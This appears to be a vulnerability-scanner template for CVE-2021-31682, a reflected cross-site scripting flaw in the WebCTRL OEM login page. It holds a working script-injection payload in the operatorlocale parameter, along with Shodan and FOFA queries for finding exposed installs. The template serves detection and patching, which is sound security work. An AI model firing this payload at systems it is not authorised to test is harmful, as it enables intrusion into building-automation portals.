WebCTRL OEM <= 6.5 - Cross-Site Scripting

id: CVE-2021-31682

info:
  name: WebCTRL OEM <= 6.5 - Cross-Site Scripting
  author: gy741,dhiyaneshDk
  severity: medium
  description: WebCTRL OEM 6.5 and prior is susceptible to a cross-site scripting vulnerability because the login portal does not sanitize the operatorlocale GET parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of WebCTRL OEM that addresses the XSS vulnerability (CVE-2021-31682).
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31682
    - https://github.com/3ndG4me/WebCTRL-OperatorLocale-Parameter-Reflected-XSS
    - https://www.automatedlogic.com/en/products-services/webctrl-building-automation-system/
    - http://packetstormsecurity.com/files/164707/WebCTRL-OEM-6.5-Cross-Site-Scripting.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-31682
    cwe-id: CWE-79
    epss-score: 0.0116
    epss-percentile: 0.84847
    cpe: cpe:2.3:a:automatedlogic:webctrl:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: automatedlogic
    product: webctrl
    shodan-query:
      - html:"/_common/lvl5/dologin.jsp"
      - http.html:"/_common/lvl5/dologin.jsp"
    fofa-query: body="/_common/lvl5/dologin.jsp"
  tags: cve2021,cve,webctrl,xss,packetstorm,automatedlogic

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.jsp?operatorlocale=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'
          - 'common/lvl5'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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